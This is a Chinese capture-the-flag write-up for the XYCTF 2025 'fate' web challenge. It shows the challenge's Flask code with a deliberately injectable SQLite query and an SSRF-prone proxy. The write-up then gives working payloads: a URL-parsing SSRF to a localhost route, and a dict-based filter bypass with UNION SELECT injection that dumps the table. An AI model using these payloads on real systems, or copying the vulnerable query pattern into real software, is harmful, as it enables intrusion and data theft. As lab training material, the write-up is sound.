利用解析差异SSRF + sqlite注入 + waf逻辑漏洞 -- xyctf 2025 fate WP

发布于:2025-04-08 ⋅ 阅读:(21) ⋅ 点赞:(0)

本文章附带TP(Thinking Process)!

#!/usr/bin/env python3
# 导入所需的库
import flask  # Flask web框架
import sqlite3  # SQLite数据库操作
import requests  # HTTP请求库
import string  # 字符串处理
import json  # JSON处理

app = flask.Flask(__name__)  # 创建Flask应用实例
blacklist = string.ascii_letters  # 所有英文字母(大小写)作为黑名单


# 将二进制字符串转换为普通字符串
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    # 将二进制字符串按每8位分割
    binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
    # 将每8位二进制转换为对应的字符
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output


# 代理路由,用于转发请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含黑名单中的字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)


# 数据库查询函数
def db_search(code):
    with sqlite3.connect('database.db') as conn:  # 连接SQLite数据库
        cur = conn.cursor()
        # 执行SQL查询,对输入进行多次UPPER转换(可能是为了防御某些攻击)
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}'))))))")
        found = cur.fetchone()  # 获取查询结果
    return None if found is None else found[0]  # 返回结果或None


# 首页路由
@app.route('/')
def index():
    print(flask.request.remote_addr)  # 打印访问者的IP地址
    return flask.render_template("index.html")  # 渲染并返回index.html模板


# 1337路由,提供API搜索功能
@app.route('/1337', methods=['GET'])
def api_search():
    # 只允许本地访问
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')  # 获取参数0
        if code == 'abcdefghi':  # 检查参数0是否为特定值
            req = flask.request.args.get('1')  # 获取参数1
            try:
                # 将二进制字符串转换为普通字符串
                req = binary_to_string(req)
                print(req)
                # 解析JSON(注释中提到认为JSON比Pickle更安全)
                req = json.loads(req)
            except:
                flask.abort(400, "Invalid JSON")  # JSON解析失败返回400
            # 检查JSON中是否包含name字段
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            # 检查name长度
            if len(name) > 6:
                flask.abort(400, "Too long")
            # 防止SQL注入,检查特殊字符
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            这里有隐藏的WAF(Web应用防火墙)规则
            """

            # 查询数据库
            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")  # 未找到记录返回404

            return {'Fate': fate}  # 返回查询结果
        else:
            flask.abort(400, "Hello local, and hello hacker")  # 参数0不正确返回400
    else:
        flask.abort(403, "Only local access allowed")  # 非本地访问返回403


if __name__ == '__main__':
    app.run(debug=True)  # 启动Flask应用,开启调试模式

看起来,我们的第一步是尝试造成ssrf,访问查询api

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')  # 获取请求参数中的url
    if not url:
        return flask.abort(400, 'No URL provided')  # 如果没有提供url,返回400错误

    target_url = "http://lamentxu.top" + url  # 构造目标URL
    # 检查url中是否包含字母
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    # 防止SSRF攻击,不允许包含点号
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    # 发送请求到目标URL
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)

题目没有禁止符号,翻看利用手册尝试利用解析差异访问

 &@0:8080
/proxy?url=%20%26%400%3A8080

成功

/proxy?url=%20%26%400%3A8080

继续传递参数,我们使用双重url编码

 &@0:8080/1337?0=%61%62%63%64%65%66%67%68%69
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569

按照代码逆向编写编码器

def string_to_binary(input_str):
    """将普通字符串转换为8位二进制组成的字符串"""
    binary_str = []
    for char in input_str:
        # 获取字符的ASCII码并转换为二进制,补齐8位前导零
        binary_char = bin(ord(char))[2:].zfill(8)  # [2:]去除0b前缀
        binary_str.append(binary_char)
    return ''.join(binary_str)

a = "/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D"
print(a + string_to_binary('{"name":"test"}'))
/proxy?url=%20%26%400%3A8080%2F1337%3F0%3D%2561%2562%2563%2564%2565%2566%2567%2568%2569%261%3D011110110010001001101110011000010110110101100101001000100011101000100010011101000110010101110011011101000010001001111101

我们现在需要绕过if len(name) > 6:

我们可以试试使用数组,灵感来自于我刚打完的 Cyber Apocalypse CTF 2025

len(['a'])

的输出是1,而且使用数组可以绕过剩下的waf

if '\'' in name: 只有在 ['\'] 时候才成立

但是这会造成一个意外的冒号

{"name":["\'))))))--"]}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('["'))))))--"]'))))))

或者我也可以尝试字典

{"name":{"test":"test"}}
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'test': 'test'}'))))))

显然字典更合适,我应该使用union注入继续

import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
  NAME TEXT NOT NULL,
  FATE TEXT NOT NULL
);""")
Fate = [
    ('JOHN', '1994-2030 Dead in a car accident'),
    ('JANE', '1990-2025 Lost in a fire'),
    ('SARAH', '1982-2017 Fired by a government official'),
    ('DANIEL', '1978-2013 Murdered by a police officer'),
    ('LUKE', '1974-2010 Assassinated by a military officer'),
    ('KAREN', '1970-2006 Fallen from a cliff'),
    ('BRIAN', '1966-2002 Drowned in a river'),
    ('ANNA', '1962-1998 Killed by a bomb'),
    ('JACOB', '1954-1990 Lost in a plane crash'),
    ('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{'))))))) UNION SELECT FATE FROM FATETABLE--': ''}'))))))
{"name":{"))))))) UNION SELECT FATE FROM FATETABLE--":""}}

只返回了一个结果,我们需要拼接结果

{"name":{"))))))) UNION SELECT group_concat(FATE) FROM FATETABLE--":""}}

成功获得flag


网站公告

今日签到

点亮在社区的每一天
去签到